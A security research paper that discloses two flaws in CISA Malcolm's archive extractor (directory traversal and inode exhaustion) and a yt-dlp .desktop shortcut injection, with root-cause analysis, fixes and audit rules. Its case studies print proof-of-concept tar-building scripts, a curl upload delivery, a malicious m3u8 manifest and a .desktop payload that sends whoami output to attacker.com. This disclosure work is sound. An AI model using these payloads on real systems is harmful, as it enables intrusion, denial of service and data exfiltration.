Trusting the Filename: File-Write Attacks from Untrusted Archive and Download Metadata

Pavan Nallamothu
Independent Security Research
pavanchow

***Abstract*—Applications treat names, paths, and extensions carried inside archive manifests and download metadata as if the application had chosen them. It did not. A tar entry pathname, an HLS subtitle URI, a shortcut extension, each is attacker-controlled, and each is later used verbatim as a filesystem decision. We study three 2026 CVEs that share this structure. CVE-2026-63134 (CISA Malcolm, CVSS 5.4) is a directory traversal in which directory entries skip the path guard that file entries pass, and `os.path.join(dest, "/tmp/x")` evaluates to `/tmp/x` because Python discards every argument before an absolute component, so the destination silently vanishes. CVE-2026-63133 (CVSS 6.5) is an inode-exhaustion denial of service in the same extractor: a ∼50 KB archive of 50,000 empty directory entries creates 50,000 inodes in 2.2 s at an amplification of 1.0 inode per compressed byte, and a depth-axis variant produces many inodes from one entry. CVE-2026-50023 (yt-dlp, CVSS 8.3) is executable-shortcut injection: a permission scoped to the `-write-link` feature was hoisted to a global extension allowlist, so a subtitle track whose URI ends in `.desktop` writes an executable shortcut under `-write-subs`. The unifying class is trusting attacker-controlled filesystem metadata, and the cross-cutting root cause is a guard/sink mismatch: the security predicate is applied to one representation or context and omitted at a semantically equivalent sink. We give the exact code, payloads, and measured numbers, and ship three static audit rules.**

***Index Terms*—path traversal, zip slip, decompression bomb, inode exhaustion, allowlist, confused deputy, yt-dlp**

I. Introduction

An extractor holds filesystem authority. It may write inside a destination directory, or into a user's download folder. The names it writes to come from the archive or the manifest, which the attacker controls. When the extractor uses those names without confining them, untrusted metadata induces a privileged component to exercise its authority where the operator never intended. This is the confused deputy [1], in file-write clothing.

We examine three instances that look unrelated and are not. All three route a benign-looking string field, a tar entry name, an HLS `EXT-X-MEDIA` URI, an output extension, into `os.makedirs`, an extract loop, or a file writer. Each produces a different effect, path traversal, amplification denial of service, executable-shortcut injection, from the same trust gap between a name the program chose and a name the input supplied.

Contributions:

- A unifying "untrusted filesystem-metadata" class and its guard/sink-mismatch root cause.
- The absolute-path `os.path.join` primitive as a traversal vector distinct from `..`: `os.path.join("/safe/dest", "/tmp/evil") == "/tmp/evil"` discards the destination entirely.
- A formal amplification analysis with two axes and real ext4 exhaustion numbers.
- The allowlist-scope-hoist anti-pattern, where the fix for one CVE becomes the attack surface of the next.
- Three shippable static audit rules.

We state the scope limits plainly. CVE-2026-63134 creates directories, not arbitrary file content, so it is a pipeline-disruption and staging primitive, not direct code execution. CVE-2026-50023 is user-assisted; it needs a double-click. CVE-2026-63133 is availability-only. Reviewers punish overclaiming, and these limits are real.

II. Background

Archive formats distinguish entry types. A tar entry is `FILE`, `DIRTYPE`, symlink, and so on, and a secure extractor may apply different handling per type. That per-type split is where CVE-2026-63134 lives. libarchive secure flags implement the standard zip-slip defense [2]: strip `..`, reject absolute paths, block symlink escapes. The Python `tarfile` traversal weakness (CVE-2007-4559) and its 2022 rediscovery across hundreds of thousands of repositories motivated the language-level extraction filters [3], [4], and the same class resurfaced in Keras [5] and npm `tar` [6].

Two CPython behaviors are load-bearing. `os.path.join` discards every argument before an absolute component, so a single absolute entry name overrides the destination; this is documented posixpath semantics, not a bug. And `os.makedirs` creates all missing intermediate directories for a path, so one deep entry yields many inodes. On ext4 the default is one inode per 16 KB of disk (`bytes-per-inode = 16384`); the table is fixed at format time, and disk-space quotas do not bound it, which is why inode exhaustion is orthogonal to byte exhaustion. Decompression denial of service in network services is prior art [7]–[9], though that work measures byte and CPU amplification rather than inodes.

The download case involves HLS. An `EXT-X-MEDIA` tag names a subtitle track by URI, and yt-dlp derives the out-

put extension from that remote metadata. The freedesktop `.desktop` format executes its `Exec=` field on activation with no execute-bit requirement, a technique used in the wild by APT36 [15].

III. Threat Model

All three cross a filesystem-authority boundary using attacker-supplied metadata, and all three assume the parser is trusted infrastructure while the container is attacker-chosen.

Case (a), CVE-2026-63134. Any authenticated user who can reach Malcolm's filepond `/upload/` endpoint, available to standard analyst accounts, so low-privilege authenticated, no admin. Capability: craft an arbitrary tar or zip and POST it with a valid session cookie. The entry pathname crosses into `os.makedirs(os.path.join(dest, entry.pathname))` running with filebeat container privileges. File entries are protected by libarchive secure flags; directory entries are not, and the attacker needs only directory entries. Impact ceiling: directory creation anywhere the filebeat container can write, enough to hijack pipeline paths, pre-create mount points, break ingestion, or stage a follow-on.

Case (b), CVE-2026-63133. Identical precondition, one authenticated low-privilege upload of a single ∼50 KB archive. The archive declares an object count and depth; the extractor creates that many inodes with no aggregate budget. Impact ceiling: inode-table exhaustion on the shared mount, whose blast radius is every container and service sharing the mount, not just Malcolm.

Case (c), CVE-2026-50023. The victim runs yt-dlp against an attacker-influenced URL or a seeded manifest; `-write-subs` is a common benign flag and the victim does not need `-write-link`. Capability: host an m3u8 manifest plus a payload file. The subtitle URI determines the output extension, which the global sanitizer allowlist wrongly blesses. Impact ceiling: write an executable OS shortcut into the victim's working directory; execution needs a double-click, so this is user-assisted code execution. The asymmetry from the Malcolm cases: here the boundary is the download destination on the victim's own machine, and the metadata source is a remote server rather than an uploaded archive.

IV. Methodology

Each was found by auditing the guard against the sink, not by fuzzing. For 63134, tracing both extraction code paths showed the directory branch reaching `os.makedirs` without the confinement check the file branch runs. For 63133, the same loop was read for an aggregate counter and had none. For 50023, auditing the CVE-2024-38519 patch [14] and then pivoting from direct input to indirect metadata revealed that the allowlist blessing was global while the intended scope was per-feature. The recurring technique is "audit the fix": the previous patch narrowed one class and its boundary is where the next bug sits.

V. Analysis and Formalization

A. Case (a): the absolute-path divergence

Two extraction paths process the same untrusted entry set under two trust models. Let `dest` be the destination and p the entry pathname. File entries go through libarchive with secure flags, a guard $G(\texttt{dest}, p)$ that accepts only if `realpath(dest/p)` is within `dest`, stripping `..`, rejecting absolute paths, blocking symlink escapes. Directory entries go through

```
if entry.isdir:
    os.makedirs(os.path.join(dest, entry.pathname),
     exist_ok=True)
```

with no guard, so the effective path is $J(\texttt{dest}, p) =$ `os.path.join(dest, p)`. J and G disagree on two input classes. Relative traversal, $p =$ `"../../../../tmp/x"`: `realpath` resolves above `dest`; G rejects, J accepts. Absolute injection, $p =$ `"/tmp/x"`: `os.path.join("/safe/dest", "/tmp/evil") == "/tmp/evil"`, the destination vanishes; G would reject an absolute path, J silently honors it. The minimal divergence input is one tar entry with type `DIRTYPE` and name `"/tmp/absolute_escape/"`: the file-path guard never runs on it because it is a directory entry. The root cause is a type-dependent guard, the predicate is applied to `FILE` entries and omitted for `DIR` entries, even though both reach a filesystem-mutating sink.

B. Case (b): amplification, computed

Define amplification $A =$ (filesystem objects created)/(archive bytes on the wire). The advisory's measured point: 50,000 empty directory entries, ∼50 KB compressed, extracted in 2.2 s, 50,000 inodes created. An empty directory entry costs one 512-byte tar header and no data blocks, so 50,000 entries are $50{,}000 \times 512 = 25.6$ MB uncompressed; gzip on names like `dir_000000/` through `dir_049999/` is near-perfectly compressible, observed 25.6 MB to ∼50 KB, about 512:1. The object-per-byte amplification is $A = 50{,}000\,\text{inodes}/50{,}000\,\text{bytes} = 1.0$ inode per compressed byte.

Two axes exist. On the breadth axis each entry costs ∼1 compressed byte and yields 1 inode, so $A_{\text{breadth}} \approx 1$ inode/byte. On the depth axis one entry named `a/a/.../a` of depth D causes `os.makedirs` to create all D missing intermediate directories from a single entry, and because the repeated component compresses away, A_{depth} grows without bound in D. The depth axis is the stronger primitive and the attacker is not limited to one inode per entry.

Exhaustion target: ext4 default `bytes-per-inode` is 16384, and Malcolm's documented `/storage` partition is 916 GB, giving $916 \times 10^9/16384 \approx 55.9$ million inodes. At $A_{\text{breadth}} \approx 1$ inode/byte, exhausting it via breadth needs ∼55.9 MB compressed, trivially inside any sane upload cap; via depth it needs far less. Because empty directories

consume negligible bytes, byte-quota defenses do not catch it. Once the table is full, every service on the mount fails with ENOSPC despite free bytes.

C. Case (c): allowlist-scope divergence

Model the sanitizer as $S(ext)$, "extension `ext` may be written." CVE-2024-38519 replaced a denylist with an allowlist. To keep `-write-link` working, the allowlist was defined globally as ALLOW = {media/subtitle exts} ∪ {`.desktop`, `.url`, `.webloc`}. The intended semantics were context-scoped: $S_{\text{intended}}(ext, ctx) = ext \in \text{MEDIA}$ for normal downloads, and $ext \in \text{MEDIA} \cup \text{SHORTCUTS}$ only when $ctx =$ `write_link`. The implemented semantics dropped the context: $S_{\text{impl}}(ext) = ext \in \text{ALLOW}$ for all contexts. So $S_{\text{impl}}(\texttt{.desktop}) =$ True while $S_{\text{intended}}(\texttt{.desktop}, \texttt{download}) =$ False. A permission scoped to one feature was hoisted to a global check every write path inherits. The extension is attacker-chosen because the HLS `EXT-X-MEDIA` URI sets it, so the divergence input is a manifest whose subtitle URI ends in a shortcut extension, downloaded under `-write-subs`, a context where S_{intended} says No but S_{impl} says Yes. This is structurally the zip-slip-regression pattern of npm `tar` [6]: each patch narrows one class and reopens an adjacent one.

VI. Case Studies

A. CVE-2026-63134

Vulnerable line:

```
if entry.isdir:
    os.makedirs(os.path.join(dest, entry.pathname),
     exist_ok=True)
```

The documented behavior that makes it exploitable, verbatim:

```
import os
dest = "/safe/extraction/dir"
print(os.path.join(dest, "../../../../tmp/evil/"))
# Output: /safe/extraction/dir/../../../../tmp/evil/   (
     realpath resolves ABOVE dest)
print(os.path.join(dest, "/tmp/evil/"))
# Output: /tmp/evil/                                    (
     destination DISCARDED)
```

Trigger archive:

```
import tarfile
with tarfile.open('traversal.tar.gz', 'w:gz') as tar:
    info = tarfile.TarInfo(name='../../../../tmp/
     malcolm_pwned/')
    info.type = tarfile.DIRTYPE
    tar.addfile(info)
    info2 = tarfile.TarInfo(name='/tmp/absolute_escape/')
    info2.type = tarfile.DIRTYPE
    tar.addfile(info2)
```

Delivery:

```
curl -X POST https://<malcolm>/upload/ -H "Cookie: <valid-
     session>" -F "filepond=@traversal.tar.gz"
```

Observed: directories created at `/tmp/malcolm_pwned/` and `/tmp/absolute_escape/`, both outside the destination, with filebeat privileges. Fix (v26.07.0): resolve with `os.path.realpath`, verify prefix with `os.path.commonpath`, abort otherwise, applied to directories and files alike. Affected ≤ v26.06.1. CVSS 5.4, CWE-22 with CWE-36.

B. CVE-2026-63133

Vulnerable loop, no aggregate limit:

```
for entry in a:
    if entry.isdir:
        os.makedirs(os.path.join(dest, entry.pathname),
     exist_ok=True)
```

No max entry count, no cumulative size, no depth limit, no inode budget. Trigger:

```
import tarfile, io
with tarfile.open('inode_bomb.tar.gz', 'w:gz') as tar:
    for i in range(50000):
        info = tarfile.TarInfo(name=f'dir_{i:06d}/')
        info.type = tarfile.DIRTYPE
        tar.addfile(info)
```

Result: ∼50 KB compressed, 50,000 directory entries. Delivery is the same filepond POST. Observed: 50,000 directories in ∼2.2 s; scaled linearly, `df -i` shows 0 free inodes and every service on the mount fails with "No space left on device." Fix (v26.07.0): extraction limits on entry count and cumulative size. Affected ≤ v26.06.1. CVSS 6.5, CWE-400 with CWE-409.

C. CVE-2026-50023

Malicious manifest `payload.m3u8`:

```
#EXTM3U
#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="Sub",URI
     ="http://attacker.com/rev.desktop"
```

Payload `rev.desktop`:

```
[Desktop Entry]
Type=Application
Exec=curl http://attacker.com/exfil?pwned=$(whoami)
```

Victim command:

```
yt-dlp --write-subs http://attacker.com/payload.m3u8
```

Observed: yt-dlp fetches the URI content, the sanitizer checks `.desktop`, finds it on the global allowlist, and writes `rev.desktop` to the working directory; a double-click executes the payload, and file managers that hide known extensions display it as a subtitle. Fix (2026.06.09): remove `.url`, `.desktop`, `.webloc` from the global allowlist and permit them only inside the `-write-link` context; remediation by Grub4K, review by bashonly. This is a confirmed bypass of CVE-2024-38519 [14], whose 2024.07.01 fix introduced the allowlist. CVSS 8.3, CWE-668 with the allowlist-scope error.

VII. Mitigation

Per case. For 63134, never pass untrusted input as the second argument of `os.path.join`; canonicalize and confine, `final = os.path.realpath(os.path.join(dest, p)); assert os.path.commonpath([final, os.path.realpath(dest)]) == os.path.realpath(dest)`, applied to directories and files identically, rejecting absolute p before the join. For 63133, enforce aggregate budgets before and during extraction, max entry count, max cumulative uncompressed bytes, max path depth, and an inode budget, aborting on breach; an `io.LimitedReader`-style cap for the byte axis and a running counter for the inode axis. For 50023, scope permissions to context, not globally: an extension allowed only for `-write-link` must be checked with the `write_link` flag in scope, never hoisted to a global predicate.

The cross-cutting rule: any predicate that guards a filesystem sink must guard every representation and every context that reaches that sink. Three static rules follow and ship as an artifact. First, flag any `os.path.join(trusted_base, x)` where x is tainted by archive or download metadata and the result flows to `os.makedirs`, `open(..., 'w')`, `shutil`, or `os.rename` without an intervening realpath-plus-commonpath confinement check. Second, flag any allowlist predicate whose membership set is a union of per-feature sets but whose call sites do not carry the feature flag. Third, flag any extraction loop with no monotonic counter bounded by a constant. All three are grep-able and suit a Semgrep or CodeQL rule pack.

VIII. Related Work

Archive-extraction traversal is the immediate lineage: zip slip across many ecosystems [2], the `tarfile` traversal and its rediscovery [3], the extraction-filter mitigation [4], and same-bug resurfacing in Keras [5] and npm `tar` [6] that supports the "patch becomes new surface" thesis. Decompression and resource denial of service is prior art for case (b) [7]–[9], though focused on byte and CPU amplification rather than inodes. The guard/sink and parser-differential framing borrows from the confused deputy [1] and HTTP parser-divergence work [10]–[13]. The yt-dlp lineage and shortcut-file abuse ground case (c) [14], [15].

IX. Conclusion

A name inside an archive or a manifest is input, not a decision the program made. The three CVEs differ in effect but share one invariant violation: a predicate that guards a filesystem sink was applied to one representation or context and skipped at a semantically equivalent one. Guard every representation and every context that reaches the sink, and the absolute-path join, the inode bomb, and the shortcut write all close together.

References

[1] N. Hardy, "The Confused Deputy (or why capabilities might have been invented)," *ACM SIGOPS Operating Systems Review*, vol. 22, no. 4, pp. 36–38, 1988.

[2] Snyk Security Research Team, "Zip Slip Vulnerability," Snyk research disclosure, 2018.

[3] Python `tarfile` directory traversal (CVE-2007-4559); Trellix Advanced Research Center rediscovery, 2022.

[4] Python core developers, "PEP 706: Filter for `tarfile.extractall`," 2023.

[5] keras-team, "`keras.utils.get_file` Directory Traversal for TAR Files," GHSA-hjqc-jx6g-rwp9.

[6] npm `tar` zip-slip regressions, CVE-2021-32803 and CVE-2021-32804, 2021.

[7] G. Pellegrino, D. Balzarotti, S. Winter, and N. Suri, "In the Compression Hornet's Nest: A Security Study of Data Compression in Network Services," *USENIX Security*, pp. 801–816, 2015.

[8] M. Chen and M. Fan, "Detection Algorithm for Non-recursive Zip Bombs," Univ. of Electronic Science and Technology of China, 2020.

[9] OpenTelemetry Collector, "Denial of Service via Decompression Bomb over HTTP/gRPC," GHSA-c74f-6mfw-mm4v.

[10] B. Jabiyev, S. Sprecher, K. Onarlioglu, and E. Kirda, "T-Reqs: HTTP Request Smuggling with Differential Fuzzing," *ACM CCS*, 2021.

[11] B. Jabiyev et al., "FRAMESHIFTER: Security Implications of HTTP/2-to-HTTP/1 Conversion Anomalies," *USENIX Security*, 2022.

[12] "Gudifu: Guided Differential Fuzzing for HTTP Request Parsing Discrepancies," *RAID*, 2024.

[13] J. Kettle, "HTTP Desync Attacks: Request Smuggling Reborn," PortSwigger Research, 2019.

[14] yt-dlp, "File System Modification and RCE through Improper File-Extension Sanitization" (CVE-2024-38519), GHSA-79w7-vh3h-8g4j, fixed 2024.07.01.

[15] CYFIRMA / CloudSEK, "APT36 Abuses Linux `.desktop` Files as Malware Droppers," 2025.